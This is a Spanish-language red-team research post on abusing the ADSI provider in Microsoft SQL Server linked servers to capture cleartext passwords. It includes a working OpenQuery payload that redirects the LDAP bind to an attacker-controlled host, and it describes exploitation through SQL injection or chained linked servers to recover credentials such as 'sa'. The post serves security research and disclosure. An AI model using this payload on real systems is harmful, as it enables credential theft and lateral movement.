MSSQL linked servers: abusando ADSI para obtener contraseñas
Tabla de contenidos
Introducción
Cuando hablamos de servidores vinculados (linked servers) en Microsoft SQL Server, normalmente pensamos en enlaces a otros servidores SQL Server. Sin embargo, esta es solo una de muchas opciones, por lo que hoy profundizaremos sobre el proveedor ADSI (Active Directory Service Interfaces), el cual permite realizar consultas al Directorio Activo utilizando el protocolo LDAP.
Después de comentar su funcionamiento interno, presentaremos una nueva técnica que permitirá obtener la contraseña en claro de las cuentas configuradas para estos enlaces y, en algunos casos, la contraseña en claro del usuario utilizado en el contexto de seguridad actual. Esto ha resultado útil en varios de nuestros ejercicios de Red Team.
ADSI
Mediante el proveedor ADSI podemos crear enlaces contra un controlador del dominio (sp_addlinkedserver
) y realizar consultas utilizando la cláusula SELECT
junto con la función OPENQUERY
:
Al igual que con otro tipo de enlaces, es posible configurar una cuenta asociada que será utilizada a la hora de autenticarse contra el servidor de destino (sp_addlinkedsrvlogin
). En este caso, como se trata de Directorio Activo, debe ser una cuenta del dominio.
En el caso de no asociar una cuenta, el enlace solo será funcional si el usuario cliente de la sesión actual es un usuario del dominio (lo que implica que el inicio de sesión contra el servidor SQL se haya realizado con autenticación de Windows). Teniendo todo esto en cuenta, realizamos un análisis a nivel de protocolo para ver qué estaba ocurriendo por debajo y obtuvimos resultados interesantes.
Si lanzamos la consulta utilizando una cuenta de login asociada, SQL Server se autentica contra el controlador del dominio utilizando autenticación LDAP simple, lo que significa que la contraseña se transmite en texto claro.
En cambio, si nos conectamos a SQL Server con un usuario del dominio y el link no tiene cuentas asociadas), se utilizará autenticación de Windows (GSSAPI).
Estas son las dos opciones que existen para que funcione ADSI, pero… ¿qué ocurre cuando intentamos utilizar un enlace sin cuentas vinculadas, habiendo autenticado previamente usando un usuario SQL en vez de un usuario del dominio?
Como se puede observar en la imagen anterior, SQL Server intenta realizar una autenticación simple utilizando la contraseña del usuario SQL actual, la cual debe estar de alguna manera almacenada en memoria.
I saw your credentials!
Sabiendo esto, probablemente hayas pensado en capturar tráfico de red (en caso de tener los privilegios necesarios y acceso a la máquina). Pero… ¿y si te digo que puedes obtener las contraseñas desde SQL e incluso desde un usuario sin privilegios?
Al igual que con cualquier otro tipo de servidor vinculado, con el proveedor ADSI hay que especificar un servidor de destino, en este caso un controlador del dominio. Sin embargo, hemos descubierto que ya que la sintaxis permite indicar una URL LDAP en la cláusula FROM
(probablemente pensado para especificar un DN base concreto), es posible apuntar a una máquina controlada por el atacante y así recibir las conexiones, ignorando el servidor remoto configurado.
SELECT * FROM OpenQuery (ADSI, 'SELECT * FROM ''LDAP://attacker''')
Cabe destacar que, si ya se encuentra configurado un servidor vinculado con el proveedor ADSI, un usuario sin privilegios puede llevar a cabo este ataque. En caso contrario, un usuario con al menos el privilegio ALTER ANY LINKED SERVER
podría temporalmente configurar el enlace y a continuación proceder con la explotación.
Esta técnica puede ser útil en varios escenarios. A continuación, se describirán algunos de ellos.
Escenario 1: Obtención de la contraseña en claro de una cuenta asociada a un enlace ADSI
En 2014, NetSPI publicó una investigación acerca del descifrado de contraseñas asociadas a servidores vinculados, pero asumiendo demasiados requisitos: tener privilegios de sysadmin y administración local de la máquina, así como la posibilidad de utilizar una conexión DAC (por defecto solo disponible en localhost). Nuestra técnica no necesita estos privilegios ni acceso de red, por lo que por ejemplo sería explotable desde una inyección SQL o a través de otro servidor SQL vinculado.
Escenario 2: Obtención de la contraseña del contexto de seguridad actual
Como vimos en la sección anterior, la contraseña actual debe estar cacheada en memoria. De nuevo, esto puede ser útil en un escenario en el que se esté ejecutando código SQL sin conocer la contraseña del usuario actual, por ejemplo, el caso de una inyección SQL.
Otro posible escenario que nos solemos encontrar es tener acceso no privilegiado a un servidor SQL (digamos WINSQL01), el cual tiene un enlace a otro servidor SQL Server (WINSQL02) establecido con una cuenta vinculada sysadmin (sa). En este caso, podríamos llevar a cabo el ataque a través del enlace y obtener la contraseña del usuario “sa”, la cual podría ser reutilizada en otros servidores.
NTLM Relay?
En cuanto vimos autenticación GSSAPI, lo primero que se nos ocurrió fueron algunos escenarios de NTLM relay. No obstante, hemos visto que el cliente LDAP negocia firma por defecto, por lo que no vimos ninguna manera de aprovecharnos de esta situación.
PoC or GTFO
En uno de nuestros ejercicios de Red Team, queríamos realizar este ataque en un entorno restringido donde no era posible establecer conexiones salientes. Ya que en este caso contábamos con privilegios de sysadmin, decidimos desarrollar un ensamblado CLR el cual se pone a la escucha en determinado puerto local y decodifica la petición LDAP entrante con el fin de devolver la contraseña en texto claro.
En el siguiente ejemplo, utilizamos esta técnica para obtener la contraseña en claro del login vinculado, caso que se corresponde con el escenario 1.
A continuación, la obtención de la contraseña del usuario “sa” de un servidor SQL vinculado, tal y como se muestra en el escenario 2.
El código encargado de decodificar los mensajes LDAP se adapta de este proyecto. Puedes encontrar nuestro ensamblado CLR aquí.